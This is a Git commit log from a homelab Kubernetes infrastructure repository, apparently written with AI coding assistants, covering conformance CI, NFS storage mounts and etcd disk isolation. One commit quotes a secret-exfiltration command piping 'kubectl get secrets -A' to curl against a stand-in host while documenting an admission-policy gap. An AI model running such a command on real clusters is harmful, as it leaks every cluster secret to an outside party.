Commit Graph
12 Commits
Author SHA1 Message Date
jakman85andClaude Opus 5 b1c99e51bb feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:49:44 -05:00
jakman85andClaude Opus 5 6586919132 fix(ci): CLUSTER_AVAILABLE=true would have FAKED A GREEN over 54 skipped tests
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
Wiring L2/L3 into CI was a tracked next step, described in the plan as needing only
vars.CLUSTER_AVAILABLE. Attempting it surfaced that the variable does not enable L2/L3 at
all -- it only changes which way the stage fails, and before this commit one of those ways
was a false pass.

MEASURED, before the guard:
  CLUSTER_AVAILABLE=true ./ci/conformance.sh   ->  rc=0
  "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
  "[ ok ] L2/L3 conformance passed for touched subset"

run.sh exits 0 in scaffold mode when it cannot reach a cluster, marking every test
<skipped>. That is correct and honest FOR run.sh. It is catastrophic in ci/conformance.sh,
which reaches that code only because the environment DECLARED a cluster available -- so it
reported a pass over 54 tests that never executed. One Gitea variable away from a fake green
on a gate that is now an ENFORCING required status check, and nothing caught it because
nobody had ever set the variable.

The CI runner holds no cluster credential by design (automountServiceAccountToken: false),
so the local run this stage attempts can never succeed. The in-cluster trigger path that
would make L2/L3 actually run is still unimplemented, and is blocked on a privilege-
escalation design decision that is the operator's to make (plan section 4: any principal
that can `create jobs` in ns conformance can run arbitrary code as the privileged
conformance-runner SA, because Kubernetes places no `use` check on serviceAccountName).

The stage now BLOCKS (exit 1) when a cluster is declared but every test skipped, which is
what the merge-gate decision matrix already said should happen ("conformance skipped while
CLUSTER_AVAILABLE=true -> BLOCK"). Verified: rc=1, naming the count and the reason.

The plan document claimed CLUSTER_AVAILABLE was "the only remaining gate". Corrected in
place with the measurement and an explicit do-not-set-this-yet.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:58:26 -05:00
jakman85andClaude Opus 5 87c3d83dff fix(conformance): placeholder-guard-coupling actually RUNS — it was skipping forever
`conformance/tests/l0-static/placeholder-guard-coupling` (R-ENV-02, R-STATE-03) exited 3
SKIPPED on every gate run since it landed, because its check keyed its whole existence on
`bootstrap/standup.sh`. Measured, not assumed: that file has NEVER been on `main` — there is
no deletion commit for it anywhere; it landed only on unmerged prod-standup branches
(`work/prod-standup-campaign`, `prod/*`, `feat/prod-hardening`). It was planned and never
merged, not removed. SKIPPED is not green, and a permanently-skipped incident-derived test is
the quiet version of the failure it was written to prevent.

The skip was also hiding a RED. Run against the real `standup.sh` from
`work/prod-standup-campaign`, the old check FAILED 2 of 34 assertions — false positives from
treating the empty string as placeholder-shaped for knobs cluster-vars authors empty on
purpose (`BACKUP_CREDENTIALS_SUFFIX`, `VELERO_BACKUP_PREFIX`, both `""` on dev and both
documented there as load-bearing). It would have false-blocked the merge landing its own input.

NOT deleted — the hazard is not gone. Split into two halves, one of which needs no guard:

  HALF A (always runs): no environment overlay ships a placeholder-shaped EFFECTIVE
  cluster-vars value; an empty effective value is STATED by the overlay rather than inherited
  in silence; a LOUD base sentinel is explicitly overridden by every overlay. This is the
  2026-09-05 outcome asserted at the source instead of at the guard — if prod's
  S3_BACKUP_ENDPOINT is never a placeholder, velero cannot be pointed at a hostname that does
  not exist. Input surface is `clusters/`, all of it on `main`.

  HALF B (self-activating): the real predicate extracted and executed against those same
  values, the consumer trace, and the mid-string anchoring property.

The check NEVER exits 3 again, and the guard is DISCOVERED by content rather than hardcoded:
any tracked `*.sh` defining `<name>_is_placeholder()` is found, so a guard landing at
`bootstrap/standup.sh` — or moved into a sourceable library, the remedy the check already
recommends — activates HALF B with no edit to the test. Two files defining it is a FAIL. When
no guard exists the gap is printed loudly every run instead of swallowed as a skip.

LOUD vs EMPTY is the correction that makes it honest in both modes: a loud placeholder is
always a defect in an overlay, while `""` is held to the explicitness rule instead — and still
counts as a placeholder for a knob a guard covers, because a `""` case-arm is the guard
author's declaration that empty is not a usable target.

Proof, all reverted: 84 assertions and exit 0 on `main`; prod S3_BACKUP_ENDPOINT set to the
literal `https://TBD-R2-ACCOUNT-ID.r2.cloudflarestorage.com` FAILS (A1); deleting dev's
explicit VELERO_BACKUP_PREFIX op so it inherits `""` FAILS (A2); a LOUD base BULK_NFS_SERVER
with prod's override deleted FAILS 2/86 (A1+A3); and with the real `standup.sh` present,
reverting `s3_is_placeholder` to the `TBD-*` PREFIX glob FAILS 12/110 (B3 anchoring). With the
pristine `standup.sh` the check PASSES at 110 assertions where the old one failed 2 of 34.

L0 layer: 14 checks, 14 PASS, 0 SKIP, 0 FAIL (was 13 PASS / 1 SKIP). Coverage unchanged —
R-ENV-02 and R-STATE-03 both still list this test, 49/51 with the same 2 gaps.

Also:
  * `ci/touched-requirements.sh` — `bootstrap/*` -> R-STATE-03 R-GITOPS-01 is KEPT, its stale
    comment corrected. It claimed standup.sh "carries the placeholder guards", describing a
    file that is not here; R-STATE-03 there is ANTICIPATORY. Deleting the entry would leave the
    change that lands a placeholder guard selected by nothing.
  * `ci/tests/touched-requirements.test.sh` — new path-map section (12 assertions, was 8)
    locking `bootstrap/*` and `clusters/*`, so removing either entry is a test failure rather
    than a silent loss of selection. All three ci/tests pass (12 + 31 + 15).
  * `docs/BULK-NFS-STORAGE.md` §7 — its "nothing in the gate currently refuses a
    placeholder-shaped overlay value" is no longer true; corrected.
  * Scope re-audited: still deliberately requirement-scoped, not whole-repo. Every path that
    can break it attributes a requirement it declares.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-09-13 00:10:37 -05:00
jakman85andClaude Opus 5 82aff4d053 feat(apps): attach the media library and the legacy Nextcloud dataset over NFS
plex, sonarr, radarr and nextcloud each gain one bulk volume. Authored in the catalog and
re-rendered, never hand-edited into apps/ (render-golden: 10/10). Layout, the export change the
operator must apply, the uid analysis and the validation probes are in docs/BULK-NFS-STORAGE.md;
everything there was measured on the host over read-only SSH, not assumed.

WHAT THE LAYOUT TURNED OUT TO BE, AND WHY IT DECIDED THE DESIGN
/mnt/Storage/plex holds movies/ tv/ photos/ AND downloads/ as SIBLINGS in one dataset — so the
arrs' import source and their libraries are one filesystem on the server, and the download client's
completed folders are already named radarr/ and tv-sonarr/. The k3s arrs are joining a tree an arr
stack has been driving for a long time.

That sibling fact is the whole argument for the arrs mounting the export ROOT rather than a
subPath per directory. Sonarr and Radarr import by hardlinking or atomically renaming, both
same-filesystem operations, and to the kernel "same filesystem" means SAME MOUNT. Two subPath
mounts of one export are two mounts: link() across them returns EXDEV regardless of what the
server knows, and the arrs do not fail loudly — they degrade to copy-then-delete, rewriting every
file over NFS and destroying the seeding copy. The smallest subtree containing both tv/ and
downloads/ IS the export root, so the root mount is the MINIMAL mount that preserves hardlinks.
Least privilege bounded below by a hard requirement. The cost is stated, not hidden: sonarr can
also write /media/movies.

  plex       /mnt/Storage/plex      -> /media                 ro   ReadOnlyMany
  sonarr     /mnt/Storage/plex      -> /media                 rw   ReadWriteMany
  radarr     /mnt/Storage/plex      -> /media                 rw   ReadWriteMany
  nextcloud  /mnt/Storage/nextcloud -> /mnt/legacy-nextcloud  ro   ReadOnlyMany  (subPath: nextcloud)

Plex is read-only because it indexes and streams; every write on that tree belongs to the arrs, and
saying so removes Plex from the set of things that can damage 8.33 T. All three media consumers use
the SAME mountPath deliberately: when qbittorrent is eventually given this export, the arrs and the
download client will already agree on absolute paths, which is the other precondition for hardlinked
imports.

*** /media AND NOT /data — A COLLISION CAUGHT WHILE RENDERING. *** The arrs' Longhorn config PVC
renders at the renderer default /data/config. A media mount at /data is mounted OVER it and MASKS
the config volume: the pod comes up with its app database shadowed by an 8 T media tree. That
discovery also exposed a SEPARATE PRE-EXISTING BUG, reported and deliberately NOT fixed here:
LinuxServer arr images run with -data=/config, so /data/config is very likely the wrong home for
that PVC and the app has been writing its EPHEMERAL layer — the exact failure catalog/plex.yaml's
mountPath comment records already having been bitten by. Plex was fixed; sonarr, radarr, qbittorrent
and jackett were not. Fixing it starts those apps from an empty config volume, so it needs its own
change with the operator present. This change does not make it worse.

UID/GID — THE FAILURE THIS TIER ALWAYS HAS
The export is sec=sys + no_root_squash, so the client's numeric uid passes through verbatim and the
server's ownership is the entire access story. The tree is 0755 owned 1000:3000, so ONLY uid 1000
can write it. LinuxServer images default to 911. Without intervention sonarr and radarr would have
mounted cleanly, gone Ready, and failed EVERY import with EACCES.

And fsGroup cannot fix that — the in-tree NFS plugin does NO ownership management, so
podSecurityContext.fsGroup is a no-op on an NFS volume. Reaching for it is how this gets
misdiagnosed. So PUID=1000/PGID=3000 are added to both arrs (PGID 3000 keeps what they write
group-readable to the live non-k3s consumers of the same export), and fsGroup: 3000 is added for
the LONGHORN config PVC only, so changing PUID does not depend on the image re-chowning /config.
plex already runs as 1000 and reads a 0755 tree; nextcloud reads as www-data. Neither needs work.

NEXTCLOUD IS MOUNTED READ-ONLY, WHICH IS A DEVIATION FROM THE BRIEF — ON EVIDENCE
The task said nextcloud writes. The dataset says otherwise: of 270 G, 267 G is config_backup/, the
rest is config/ (103 M) and config_old/ (3.4 G). There is NO data/ directory. This is the OLD
non-k3s instance's configuration plus a backup blob — an archive — and that instance is STILL LIVE
on it (exported rw to 192.168.1.6 and .5, which the operator has said must stay active). Two
Nextclouds writing one instance's config directory, each with its own database and therefore its own
oc_filecache, is unrecoverable corruption. "Do not grant more than needed" lands on ro, and ro is
the trivially reversible choice. If the intent is in fact a MIGRATION, that is a larger and more
deliberate change than a mount; the one-line flip is documented.

Read-only for nextcloud can additionally be enforced SERVER-side (only nextcloud consumes that
dataset from k3s), and the sharenfs value in the doc uses ro= for the k3s clients. The media tree
cannot: plex and the arrs may land on any node, so the server sees the same addresses for reader
and writers. Plex's ro is therefore a client-side guarantee — stated as a limitation, not left
implied.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-09-07 23:54:13 -05:00
jakman85 863af01062 docs: the §2 shared-device measurement came back, and it does not hold
gate / gate (push) Has been cancelled
gate / conformance (push) Has been cancelled
infra/PROD-PROVISIONING.md §2 recorded the etcd/Longhorn shared-partition risk as
"accepted to be MEASURED, not assumed", with an exit condition. The measurement
arrived on 2026-09-07 in production, 2 d 7 h after bring-up, as an outage.

§2 now carries "THE MEASUREMENT CAME BACK": the journal evidence, the three-node
IO PSI table (11.36 / 0.75 / 1.29), and the honest verdict that the section's own
premise — "every prod node is SSD or NVMe, where rebuild I/O costs latency rather
than collapsing it" — was right about node 2 and wrong about node 1. A 2011 C400
with 61,440 reallocated sectors and no power-loss protection is not the "SSD" that
reasoning assumed, and §0 had already named the three-way drive asymmetry as the
fault line. The exit condition is OPEN and the second bullet (dedicated device)
applies; that remains the operator's.

Also records what the three software mitigations in this branch do and do not buy,
including the point that no cgroup or scheduler control arbitrates the ext4 journal
both tenants share — and the gap that etcd's own fsync histograms, which the exit
condition literally asks for, are not collected because kubeEtcd is disabled for
k3s. PSI is the signal that exists.

DECISIONS-LOG gains the full entry: the four I/O mechanisms found INERT on these
nodes (IOSchedulingClass, IOSchedulingPriority, io.latency, bare IOWeight), the
finding that concurrentReplicaRebuildPerNodeLimit was already set and already held
during the outage, the third instance of config that looked applied and was not
(orphanAutoDeletion), and the three things still requiring the operator.

infra/ansible/README.md: CORRECTED a stale claim that k3s-prod-2/-3 "stay commented
out" of the inventory. They have been live in [k3s_prod_secondary] since
2026-09-03. That sentence is exactly the kind used to reason about blast radius —
`-e k3s_hosts=k3s_prod` targets THREE hosts, not one — so it is replaced with the
--list-hosts command that settles it. The new etcd-io-priority play is added to the
run order, the layer table and the prod command list.

Co-Authored-By: Claude Opus 5 <[email protected]>
(cherry picked from commit a00a27a2567ea6a805c8c196b75df2c92a7c63a4)
2026-09-07 02:46:26 -05:00
jakman85andClaude Opus 4.8 d1a547fd15 docs(plan): L2/L3 conformance CI wiring plan; gate.yml placeholder -> plan pointer
HAND-OFF 2 (L2/L3 conformance wiring) — DEFERRED with a concrete plan, per the
hand-off's escape hatch (too risky to wire live cluster access from CI autonomously;
do NOT hand CI a broad kubeconfig).

The intended seam (in-cluster Chainsaw Job under its own scoped SA; CI holds only a
narrow trigger credential) is mostly scaffolded but not safe to finish autonomously:
- ci/conformance.sh still runs run.sh locally rather than triggering the in-cluster Job.
- conformance/incluster/chainsaw-job.yaml has no repo-clone init-container and the stock
  chainsaw image lacks bash/python3/kubectl/git that run.sh needs.
- No trigger SA/RBAC/credential exists, and the core blocker is a privilege-escalation
  design question: any `create jobs` credential in the conformance namespace can create a
  Job running as the privileged conformance-runner SA. This needs an admission constraint
  (recommended: narrow trigger SA + a Kyverno policy pinning the admissible Job shape), or
  a GitOps-native zero-credential trigger — an operator decision.
- conformance/incluster/ isn't wired into Flux; Gitea vars/secrets aren't provisioned.

docs/plans/l2-l3-conformance-ci-wiring.md captures current state, the security analysis,
the functional gaps, a file-by-file step sequence, validation/rollback, and the open
decisions. gate.yml's conformance placeholder now points to it (still if:false, honest).

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-08-31 09:01:18 -05:00
jakman85andClaude Opus 4.8 a04251bbc8 docs: plan for Longhorn SSD tiering (hot-tier move off HDD)
Investigation + phased implementation plan to move the churn-heavy,
latency-sensitive Longhorn volumes (Prometheus, the CNPG Postgres DBs,
Loki, gitea) off the slow/failing HDD 'Storage' pool onto a tagged
SSD-backed Longhorn disk on local-zfs, ending the reboot rebuild storm.

Key finding: the recorded 'SSD does not fit Longhorn' blocker was based
on the 384 GiB provisioned figure; actual working set is ~79 GB
cluster-wide (~26 GB/node) since all bulk media is on NFS, not Longhorn.
Hot tier is ~51 GB actual / 114 GiB provisioned and fits the ~323 GiB
SSD AVAIL with headroom. Read-only investigation; no live storage
touched.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-08-31 08:27:21 -05:00
jakman85andClaude Opus 4.8 b745bab26b docs(plan): evaluate Cilium 1.20.1 native Gateway ExternalAuth vs oauth2-proxy
Research + implementation plan (no live change) on whether Cilium 1.20.1's
native Gateway API ExternalAuth filter (GEP-1494) can replace the un-wired
forward-auth CEC template and Crafty's oauth2-proxy sidecar.

Verdict: DEFER. The filter exists in 1.20.1 code (shipped 1.20.0, PR #45739) but
is EXPERIMENTAL-channel Gateway API; the cluster runs the standard-channel CRDs
(verified: HTTPRoute filters[].type enum lacks ExternalAuth), so it is not even
installable today. Also: fail-open bug (#47178, fixed #47265) in a brand-new
security filter, no 1.20 docs, and the ext_authz hop would hit the same
enforce_policy_on_l7lb hairpin re-evaluation just fixed for Keycloak (68690e5).

Plan is phased/reversible (pihole canary first) and keeps the working sidecar.
Resolves the DECISIONS-LOG open item on ext_authz workaround relevance under 1.20.1.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-08-31 01:19:36 -05:00
jakman85andClaude Opus 4.8 cbc2301b30 docs: reconcile docs/comments with post-upgrade cluster state
Text-only cleanup after the upgrade campaign. Updates stale version
strings, prose, and comments to the verified current facts; no
Kubernetes behavior or version pins changed except the kubectl
toolchain bump (below).

Verified facts applied: k3s v1.36.4+k3s1, Debian 13 trixie,
Cilium 1.20.1 / Gateway API v1.6.1, Longhorn 1.12.1, node RAM 24 GiB,
dedicated virtio2 SSD etcd disk per node, Velero chart 12.x / v1.18,
Grafana 13.2.0.

- Version strings across infra/ and platform/ READMEs + comments
- kubectl toolchain 1.31.4 -> 1.36.4 (devcontainer/ci/conformance
  versions.env; 1.31 vs a 1.36 cluster exceeded the +-1 skew)
- Retired-single-apps-Kustomization refs -> apps-wave-0/1/2 + apps-vms
  with per-wave SOPS decryption (flux/clusters docs + bootstrap.sh)
- COMPLETED/historical banners on the three executed plan docs
- Resolved TODO(WS-SEC) markers -> Renovate-maintained ranges
- Appended dated DECISIONS-LOG entry (2026-08-30) superseding the
  2026-08-26 LIVE STATE line

Left as revalidation items (not blind-edited): external-snapshotter
v8.2.0 vs 1.36, Cilium ext_authz/forward-auth relevance under 1.20.1,
conformance ImageVolume feature-gate assertions under 1.36.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-08-30 15:13:12 -05:00
jakman85andClaude Opus 4.8 5efd983239 W1: Cilium 1.16.5->1.17.18, Longhorn 1.7->1.8 (pre-k8s-1.32 component landing)
Land the two pacing components on current k8s 1.31 before the 1.32 k3s hop.
Cilium 1.17 supports k8s 1.29-1.32; Longhorn 1.8 supports 1.25+; Gateway API CRDs
stay v1.2.1 (Cilium 1.17 targets v1.2.x). Also commits the full upgrade plan doc.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-08-29 23:23:34 -05:00
jakman85andClaude Opus 4.8 8dfb42f6c0 docs: add Phase 2 SSD-etcd execution runbook
Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-08-29 21:28:46 -05:00
jakman85andClaude Opus 4.8 af5fc5b25f feat(tofu,ansible): SSD-backed etcd disk per k3s node (Phase 1: code + plan)
Interim bridge to stop Longhorn replica-rebuild I/O storms on the shared HDD
Storage pool from starving etcd WAL fsync (crash-looping k3s / flapping the
kube-vip VIP). Adds a small dedicated SSD disk per node for etcd only; Longhorn
stays on HDD. See docs/plans/ssd-etcd-isolation.md.

tofu (infra/tofu):
- New vars etcd_ssd_datastore (default "local-zfs" = rpool/data, Micron 5100
  SATA SSD mirror w/ PLP) and etcd_disk_gib (default 16).
- New virtio2 disk block on the SSD datastore per VM: discard=on, cache=none
  (honor guest fsync straight to the ZFS ZIL — safe on PLP SSD), iothread=false.
  Kept last (ascending interface) so bpg does not reorder virtio0/virtio1.
- Revert the debian_cloud_image resource to the long type name
  proxmox_virtual_environment_download_file to match the R2 state: bpg >= 0.111
  dropped the cross-type moved{} linkage to the short proxmox_download_file, so
  the stale moved block failed EVERY plan with "Resource type mismatch" (broken
  on main too). Aligning code to state yields a clean plan with no image
  re-download. Short-name migration is deferred to a deliberate `tofu state mv`.

ansible (node_baseline):
- Format /dev/vdc (label k3s-etcd) and mount it at
  /var/lib/rancher/k3s/server/db (defaults,noatime; no nofail so a missing etcd
  disk fails loudly rather than silently landing etcd on the root HDD) before
  k3s starts, so a rebuilt node comes up with etcd isolated on SSD. Data-safe:
  filesystem module never reformats an existing fs.

Phase 1 only: non-disruptive. No tofu apply, no node/VM/etcd/Longhorn changes.
tofu plan verified: 0 to add, 3 to change, 0 to destroy — every VM an in-place
disk ADD (virtio2), dev-3 also an in-place memory 16384->24576; no VM replace.
Merge gate green (render==golden included).

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-08-29 17:21:06 -05:00